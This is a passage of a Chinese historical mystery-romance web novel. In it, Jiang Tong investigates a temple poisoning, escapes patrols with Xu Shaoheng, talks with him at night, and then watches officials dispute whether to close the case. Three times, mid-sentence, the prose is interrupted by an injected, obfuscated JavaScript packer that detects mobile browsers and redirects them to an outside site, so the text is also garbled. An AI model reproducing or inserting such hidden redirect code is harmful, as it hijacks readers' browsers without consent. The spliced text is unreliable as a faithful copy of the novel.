她翻开这一卷，为首的伙头僧叫作慧明，副手叫作觉心，是这次负责长公主晚斋菜式的人。余下还有十多名杂役弟子，多是寺中觉字辈和圆字辈的。 姜彤看着看着，想起来，昨日他们到达寺里时，来接待他们的粗眉方脸礼僧也是慧字辈，叫慧觉。 不过他的名字并不在其中。 她继续看后面的审问记录，这些僧人交代的信息有多有少，但都表示对当日出现的毒物不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920811|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知情，称自己无辜。 至于验毒的两名侍女，是公主府此次随行之人，分别叫朝露和流霞，都否认了自己被收买。尤其是那名叫朝露的侍女，她是负责入口试菜的。供词中道，她在试菜时，是照常按照宫制，在伙房提供的十碟甜点中随机选的一碟品尝。 但她吃了没事，端上来的那些都有毒。 名叫流霞的侍女倒是认了一项罪，说她在用银针试毒时，见上面的米糍中裹了红浆，怕针戳破了之后红浆溢出来影响外观，所以只验了下面的雪冰沫。 看起来好像是无心之失。 但会不会有可能，她在撒谎，是故意的？ 又或者，下毒之人早就料准了侍女的反应，是故意做的这道甜品？ 姜彤看完文卷，在脑中推敲各种可能性，正想收起来再找找其他线索，耳朵却灵敏地捕捉到外面靠近的脚步声。 抬头一看，有模糊的火光映在门扉上，越来越大，越来越清晰。 有人过来了！ 姜彤连忙收好案卷，放回到原处，从来时的后窗跳出去。 却不想，此时屋后巡逻的官兵恰好从尽头转回来，在往这个方向走。 姜彤来不及思索，立刻转身折到屋角另一边——结果又迎头撞上另一队巡逻的官兵！ 两边的路都被堵死，她站在原地左右为难，正犹豫要不要先跳上屋檐躲过去，忽然，一只手从身后黑暗中伸出来，悄无声息捂住了她的嘴！ 姜彤瞬时惊出一身冷汗，抬肘便用力后击，身后之人顿时疼得哼了一声，半路又生生忍下。 而这时，她察觉出端倪——是徐少衡，他也悄悄跑过来了！ “什么声音？！”有官差听到异常，举着火把往这边看。 千钧一发之际，徐少衡揽住她的腰，飞速将她往屋角的暗影处带，紧接着险而又险避开火光照射的范围，悄无声息爬上围墙，跳到院外伸过来的一棵老树枝杈上。 树下，离得近的官差已经快步走了过来，举着火把四处察看。拐角的另一队官差也发现了异常，带人过来询问怎么回事。 “刚才这里好像有点动静。”最先过来的差吏道。 为首的官差一听，立刻去查验窗户，接着抬头举火把照屋檐上，台阶下，又吩咐众人去筛查院中的草丛。 树上，姜彤一颗心提到了嗓子眼，一动不敢动。而往日活泼乍眼的少年此刻却仿佛暗夜的鬼魅，拥着她紧紧贴在树干上，隐在繁枝乱叶之中。 她茫然地抓着他上衣侧襟，心脏失了控般狂跳，听到官差的脚步声离墙树越来越近，满脑子都在想若两人被抓住了该怎么办。 少顷，徐少衡撑在她腰侧的手腕突然一动，运力弹出一颗不明物什——紧接着，远离他们的另一侧院墙之上，一只野猫被惊动，发出凄厉的叫声，狼狈逃窜。 官差见状，立刻追赶过去。 趁这空挡，徐少衡松开她的腰，拉着她跳下树，迅速往另一个方向离开。 18. 夜聊 两人有惊无险回到小院。 姜彤示意徐少衡跟她一起回到自己厢房。等进了屋，连忙将椅子拉到窗前，将他按坐下来：“你伤到哪里了？给我看看。” 一路上她都觉得徐少衡姿势有点不对，走路时右侧身体僵硬不自然，似乎怕牵动伤势。 谁知徐少衡连连拒绝：“不用不用，就是碰了一下，我睡一觉就好了。” 姜彤不信。方才她受惊之下全力一击，自己清楚自己使的劲有多大。 她伸手去碰，结果徐少衡仿佛她是土匪似的，一手仓皇抵挡，一手紧紧护住自己衣襟，生怕姜彤占他便宜。 姜彤很快意识到他误会了，有点好笑：“怎么，怕我扒你衣服啊？” 徐少衡一顿：“那你要做什么？” “当然是确认你的伤势在哪里。如果在腰侧，就还好，回头涂些化瘀膏药揉一揉就行，如果在胸肋，就严重些，容易累及肺腑，最好是服治内伤的药。”姜彤说着，直起身，“算了，我不动了，你自己指给我看吧。” “哦。”徐少衡听完，松懈下来，伸手碰了下受伤的位置示意给姜彤看。见姜彤果真站在原地只看不动，不知怎么又开始开始反悔，“彤娘，要不你还是帮我看看吧，我觉得这一块都疼，腰疼，肋骨也疼，我会不会骨折啊？” 姜彤借月色看清位置，睨他一眼，心道你要是骨折，早就开始掉眼泪了，哪儿还有功夫在这里乱想乱动。 也不理他，转身去寻自己放在床边的包裹。 她这次来灵陀山，为防万一带了两瓶驱虫蛇和活血化瘀的药膏，没想到在这里用上了。 转过身，徐少衡已经跟了过来，于是把药瓶递给他，嘱咐他一会儿回去记得涂。 徐少衡坐到她身边，打开盖子闻了闻，笑道：“这药是沈舅舅配的，比外面买的好。” “是啊，每次从药铺拿回来一些，都给你用了。”姜彤系好包裹，问他，“你今晚怎么会出现在那里？” “我是跟着你出去的。”徐少衡将药好生收起来，“晚上你被长公主叫走了，我娘不放心，想等你回来，但她坐着坐着就开始打瞌睡。我让她先休息，自己回房等，结果你一回来就吹灯睡觉了……哼哼，我就猜到你要趁夜偷溜出去干坏事。” 姜彤立刻不服：“谁说的，我就不能是困了，想早些睡吗？” 徐少衡也不说话，一手撑着床沿，凑近了笑吟吟地瞅她。姜彤被他看得脸热，转过头：“我才不跟你一样。” “那你是去做什么？”徐少衡也问。 姜彤一时不知道怎么说——遇到这种事，她又是跟着徐家过来的，心里总是会怕，怕自己无依无靠，被冤枉成凶手。 想想简略道：“我想自己查凶手是谁。” 好在徐少衡没有追问，听她有此打算，便道：“那下次你出去，记得叫上我。爬墙这种事，我最有经验了。” 姜彤额角一抽。 她回头瞪他。这个家伙，好像擅长这种事有多值得骄傲一样！ 瞪完，看他眨巴着眼睛，满脸无辜纯良的样子，又忍不住笑。 徐少衡不知道她在想什么，见她突然笑起来，也跟着抿嘴开心。 长夜幽静，月幌如水。朦胧的辉光映在他脸上，平日明亮的眉眼在此时显得异常柔和。 姜彤就这么静静看着他，不知怎的，突然想起在树上时，她被他紧紧拢在满树繁影之间，整个人都被他的气息包围。 顿时感到窘迫，移开目光看向别处。 她觉得自己今晚不太对劲。 明明跟徐少衡相处那么多年，早就熟得不能再熟，她紧张什么？ 而且两人时常练武过招，哪次不是近身相搏，动胳膊又动腿的。方才不过情急之下抱了一下，她就乱了心神，也太奇怪了吧。 想半天，把原因归结到方才的惊险遭遇上。 中间徐少衡好像说了什么，姜彤也没听清，含糊应了两声。 过了会儿，回过神来，发现他正十分认真地注视着她。 “你说什么？”她问。 徐少衡咳了一声：“我说，咱们好久没有这样安安静静地说话了，我有一些问题想问你，而且想听你说真话。” “你说。” 徐少衡于是老老实实坐正，低声道：“今天早上我进来之后，我娘他们都在责怪我，说我冲动，欠考虑，你是不是也这么觉得？” 这个啊……姜彤点头承认，对他道：“理智地说，确实如此。这里差点死了人，凶手不知道是谁，又被官兵重重围住，你这样一股脑冲进来，除了让自己处境也变得危险之外，没有一点好处。伯母他们都是为你着想。” 徐少衡听她这么说，脸上有些黯然，不自觉揪住衣衫：“嗯，我明白了，以后我会在行事前多想想。” “不过……”姜彤想起早上刚见到他时的心情，又道，“说是这样说，但那时我见到你，第一反应却是高兴。” 徐少衡抬起头。 她没看他，脚尖向前点了点，看着斑驳窗影滑过她的鞋面，有些羞于启齿：“我也不知道为什么，就好像……好像咱们小时候闯祸一样，每次大人有什么责罚，咱们都一起面对，一同分担。那感觉，比一个人面对要好很多……” 徐少衡听到这里，坐不住了，朝她又挪近一些：“彤娘，其实我——” 姜彤察觉他靠近，立时回过神来，抬手便将他拦住：“你还受着伤，乱动什么。我告诉你，你可不能因为这话就得意忘形。无论任何时候，我都不希望看到你以身涉险，听到没有！” 她摆出一副严肃认真的样子，大有他不放在心上就跟他过不去的架势。徐少衡见她这样，只好闭了嘴，连连点头，表示他会记下。 姜彤这才缓缓放下手。 徐少衡安静了会儿，偏头小心打量她的神色，问：“那……第二个问题，你还生不生我的气？” “什么？” “就是……几日前在酒楼，我当时考虑不周，害你丢了一大笔银子……”他说得吞吞吐吐，“我有在反省……咱们能不能和好？” 姜彤意外。 其实她早就不生气了。白日她和，以为他也知道，没想到他心里还记挂着。 在这件事上，徐少衡是有错，但她一直隐瞒着和徐元卿的约定，也不算无辜。 两人关系摆在这里，如果调换位置，她发现徐少衡的婚约对象与他人有情，恐怕也坐不住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920812|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽说当日她赔了不少银子，有些心疼，但那花瓶也不是徐少衡打碎的，如何又怪到他身上？ “嗯，和好。不过有一点，你以后不能再掺和到我和你哥的事情里。至少，”她见他还有些不甘，连忙道，“再有类似的情况，不能瞒着我。要先告诉我，咱们一起商量了再行动。” 听她这么说，徐少衡答应下来。 “还有第三个问题吗？”她问。 “嗯。”徐少衡看上去安心许多，说起第三个问题，揉了揉鼻子，变得有些羞赧，“前天我去找了师父，想托他帮我找些差事做。你也知道，我不大喜欢读书，听到夫子念那些策论就头疼。师父听了说，恰好他之前待过的巡城营最近有空缺，如果我愿意，可以给以前的同僚写信，让我去报名参与选拔。” “只不过，就算有师父推荐，我进去了也要从职位最低的小旗做起，你觉得怎么样？” 姜彤来了兴趣：“听着不错啊，选拔定在什么时候？” “半月后。不过，我担心我爹娘不同意。我家祖祖辈辈都是读书人，要是让我爹知道我跑去了军营，恐怕会立刻大发雷霆，把我捆起来关到祠堂里。” 他说着就打了个颤。 姜彤略微思忖：半月后，这灵禅寺怎么也要放开了。如果他们能顺利回去，还是赶得及的。 她觉得徐少衡可以试一试。虽说徐家是读书人家，但他兄长已经有了功名，将来也会承继家业。徐少衡作为幼子，小时候就因病耽误了学业，这些年高不成低不就的，徐家二老嘴上不说，心里肯定少不了着急。 难得他愿意正经做些差事，怎么也不该打消他的积极性。 她对徐少衡道：“如果你想去，这事倒不难。咱们先跟伯母说，她耳朵软，好说话，而且我也能在旁边说情。等她被劝通了，去找伯父，我也去央求我爹帮忙，这事十有八.九能成。” 徐少衡听了，十分欢喜：“你真的支持我去做这份差事吗？” “嗯啊，”姜彤自然没什么不行的，“我爹以前就是干这个的，我为什么要反对。哦，不过你也要有心理准备，这种差事可比读书辛苦多了，不仅日日都要在外面吹风淋雨，还要经常和京城里那些惯常闹事的人打交道，你要豁得出去，忍得下来。” “嗯嗯嗯。”徐少衡双目熠熠，对着她直点头，好像只要她答应了，这事就没什么困难了一样。 姜彤原本还想嘱咐他些什么，见他这样，又歇了嘴。他们现在还困在这方天地出不去呢，急不了那么远的事情。 于是只说了句“等咱们回去再好好商量”。 徐少衡也没再问其他问题，在黑暗中和她肩并肩坐着，看山顶月色下被照得明晃晃的窗，和地上悄声无息移动位置的片片斜方月影。 两人都静静地没说话。 屋外夏虫声声起伏，屋内清幽静谧，只有身边人的浅浅呼吸。有那么短暂的一瞬，姜彤恍惚觉得他们好像回到了儿时的七夕夜，他半夜不睡觉，拉着她坐在葡萄藤架下，一起看牛郎织女星。 彼时四周也是黑暗一片，但举头望向夜空，满目繁星闪烁，侧头挨着身边人，心中满是踏实和安宁。 她一时舍不得打破这份安宁。 19. 变故 一夜之后，新的变故突生。 原来昨夜康福长公主想通之后，下令彻查，寺中伙房僧人作为重点嫌疑对象，便首先被大理寺官差找上。 但官府搜查中包含了验身这一项，有两名僧人在接受完查验之后，许是接受不了自己受辱，夜里突然自缢了。 官差发现的时候已经是清晨。消息不知道怎么被传出去，四处流言纷纷，都说长公主因为法会不顺，把气撒到寺中僧人头上，逼死了为她准备晚斋的僧人。 流言中还列举出种种细节，仿佛大家都见到了一样：什么法会时殿中灯烛无风自灭，昭示不吉；什么长公主出殿后不慎摔跤，颜面大损；什么用膳时只因味道不合，就大发雷霆，把所有伙头僧都抓了起来，要拿他们问罪。 姜彤：“……” 如果不是亲眼目睹长公主和几位夫人在前夜用膳时中毒，她大概都要信了。 只不过，她一个人不信没用，这寺中还有不少普通百姓。他们不知发生了何事，一觉醒来突然被官差限制了行动，自然纷纷把这些流言当真。 至于姜彤为什么会知道，是因为一大早，徐元卿突然来找她，将她单独叫到院子里，告诉了她这些消息。又问她，昨夜跟康福长公主说了什么，让长公主突然改变了主意。 姜彤把她当时的话如实重复了一遍，等提及那夜菜式的安排问题，徐元卿面上露出几分讶然，连看了她好几眼：“没想到你如此心细，连这种轻微的异常都能注意到。” 姜彤也没在意他的话，问徐元卿这些流言都是从哪里传出来的。 徐元卿道：“我们也不清楚，仿佛一夜之间全部冒了出来。大理寺正在查两名死者的死因有没有蹊跷，暂时还顾不上这些。” “而且，”他停了停，幽潭般的双眸注视着她，“昨夜我们对寺中伙僧进行查验，刚查出来，那两名死者是净身之人。邹大人昨夜就派人回了京城，调查宫中内使名录，目前还没有消息传回来。” “宫中内使？”姜彤很快想起去岁春末，以司礼监大太监袁祥为首的阉党被除一事，反应过来，“你们是怀疑，这两人是……阉党逃犯？” 徐元卿勾唇，微微点头：“正是如此。可惜结果还未出来，这二人便突然自杀身亡，眼下流言蜚语横行，长公主压力很大——稍后她可能会召见你们。” 他这趟过来，除了问她昨夜说了什么，也是想给大家提个醒，长公主可能会就此事有所安排。 - 果不其然，午歇之后不久，长公主突然将他们召去，说是要就前夜斋饭遇毒之事对大家慰问一番。 姜彤陪同张氏一起去长公主住的院子。 他们到的时候，大理寺卿邹大人和公主亲兵之首夏都尉也都在堂中。这两人，一位是容貌普通，穿着红袍孔雀祥云补服的半百老者，另一位则三十多岁，银鳞盔甲，重剑加身，气势钢硬锋利。两人各站一侧，面色都不大好，似乎刚刚争论过什么。 长公主仍然病容明显，炎热的天气里，身上搭着一件素色罗衾，焉焉无力靠在木榻上，李新柔则守候在一旁。 长公主让大家都坐下，先是关心了一番中毒的两家夫人的身体情况。 平阳侯府的王夫人目前仍然下不了床，故而她女儿赵莺娘代替母亲过来了。听到长公主问话，赵莺娘吓了一跳，连忙起来战战兢兢地回答，说她母亲这两日都在昏睡，吃不了什么东西，也就早上醒过来了片刻。 而李夫人看着已经好了很多，说是除了有些力虚气乏，饮食上要小心避免寒凉之物外，已经没什么大碍。 长公主点点头，又问张氏这几日吃住如何，有没有什么不便，还问起了徐少衡：“听闻你的小儿子也来了寺里，怎么没带他一起过来？” 张氏笑道：“长公主您不知道，我那幼子，性子最是顽劣，走到哪儿都要出闹些笑话。如今您还病着，我就没让他出来丢人。” 康福长公主听了，对张氏不满：“芝兰，要我说你这性子，和闺中时真是大不一样。不过是好友间通络往来，让家中晚辈相互认个脸，以后也好时常走动，你总是顾虑那么多做什么？还有先前也是，如果不是奉英今年中了榜，柔儿对我说起他的家世，我还不知道你已经嫁到了徐家，多年前就随徐大人回到了京城。” 张氏有些过意不去，对长公主告了声罪，说自己之前考虑不周，又道：“如今长公主您贵体要紧，等日后回到京城，我再带着两个孩子去叨扰府上。” 长公主听张氏这么说，想了想也是，便没有强求。 接着说起案情进展：“今早，大理寺已经查出来，此事与朝廷清剿阉党之患时漏掉的两名余党有关。那两人去岁从宫中逃出来，辗转来到这寺中，藏了半年多。可惜还未等核实身份，便已畏罪自杀了。” 众人听闻此消息，皆面面相觑。 姜彤心想，长公主既然这样说，看来那两人的身份已经确凿无疑了。 长公主宣布完此事，神色也有些差，语气疲惫道：“这山上不比京城自家府邸，白日暴晒夜里寒凉，许多东西用起来也都不便。这次法会大家仓促过来，又受我拖累损伤了身体，想必都住着不舒服。如今两名犯人都已经自戕，案子便算结束了。” “一会儿我会解除围寺的禁令，大家回去各自收拾东西，趁着时辰早都下山吧。” 众人：“……” 谁都没想到，原本万分危急，让众人都紧张不已的下毒案，会以这样的形式仓促结束。 康福长公主见大家都不说话，转头看向夏都尉，正待跟他吩咐什么，堂中的大理寺卿突然站起身拱手： “长公主，老臣还是恳请长公主殿下三思。犯人虽已自戕，但个中作案手法和动机尚不可知。如果不趁此机会深入细查，恐怕会再有人借机作乱，危害您的安全！” 这位大理寺卿一起身，长公主的脸色顿时变黑。 姜彤这才明白，原来方才堂中气氛紧张，是因为大理寺卿仍然拦着长公主，不肯让大家走。 康福长公主冷着脸没有说话，堂下负责公主安全的夏都尉站了出来：“邹大人，您到底在说什么？如今罪犯伏诛，长公主继续留在寺中才是不安全。调查凶犯作案过程和动机原本就是大理寺的职责，想要查明真相，大家下山了照样可以查。总不能为了您一司方便，让各位夫人都拖着病体、忍着不便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920813|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直滞留在山上！” 大理寺卿道：“长公主，老臣知道您辛苦，但今日这流言如此来势汹汹，您心中不觉得可疑吗？老臣还是认为，死的只是从犯，而主犯断尾求生，正是为了松懈大家的防备之心。如今凶手证物都被围在寺中，太后也下令彻查，正是一举捉拿孽党的最好时机。老臣恳请长公主再忍忍，免得那贼人得到喘息，再在京中兴风作浪啊！” “行了邹大人，”夏都尉抱着剑冷笑，“人人都知道您去年在清剿阉党时立了大功，得到太后她老人家重用。但宫中内使名单你我都看过，那两名死在寺中的僧人只是侥幸逃出来的下等内使，如今人都死了，有什么必要大动干戈？” “夏都尉，大家各行其职，都是为朝廷尽忠，你倒也不必在此出言讽刺！” “我出言讽刺，哼！我若不说，谁又知道您是不是以权谋私，仗着太后旨意，瞧着我们长公主和善，借机无中生有，铲除异己呢？！” 这话说得已经有点重了，大理寺卿连忙下跪，对榻上的人道：“请长公主明鉴，老臣绝无此意！太后下旨也是为了长公主的安危着想，绝无任何铲除异己的心思！” 夏都尉一听，也站不住了，怒着脸上前一步：“邹大人，我是在说你，你却三番五次把太后搬出来压人，还说自己没有异心吗？” 大理寺卿也不接话，只跪地俯首：“太后为人如何，长公主殿下最是清楚！恳请长公主收回旨意！” 康福长公主显然在之前就听两人辩了半天，一直闭着眼不想说话。 大理寺卿便也伏地不动，打定主意要长公主收回刚才的话。 两位大人不过三言两语，堂中火药味再次浓厚起来。李氏张氏都坐在椅子上屏息静听，更别提姜彤等闺中女子。 显然大家来之前都没意料到，原本协力查案的两位大人会吵得这么凶。 若论常理，姜彤是比较认同大理寺卿的意见的。在众人都被封锁寺中的情况下，那些流言还能迅速传播，甚嚣尘上，显然在此种作乱的不止死去的两名僧人。 甚至是不是那两人都不一定。 但若说这种事涉及党争，她就不知道该信谁了。 她悄悄看了眼从开始便一直安静坐在左侧末尾的徐元卿。 从他早上告诉她的话来看，他心中对这场局面是有预料的。 姜彤很好奇他会站在哪边。 就在她这样想时，康福长公主突然也睁开了眼睛，视线落到坐在末尾的青年身上：“徐奉英，你这两日一直跟着两位大人查案，所有情况也都清楚。你认为现在应该怎么办？” 徐元卿听到康福长公主唤，从容不迫起身，没有丝毫迟疑，拱手道：“回长公主，微臣以为，大家不妨按照大理寺卿所言，再在寺中停留一日。” “太后旨意，要求大理寺三日内查明真凶，邹大人尽可在这三日内追查凶犯线索。” “等三日一到，若查不出结果，或结果不尽如意，长公主回了京城，正好面对面和太后从容商议。” 徐元卿的话说完，张氏坐在位子上忍不住动了动。 不为别的，他这话说的，实在是两边得罪人。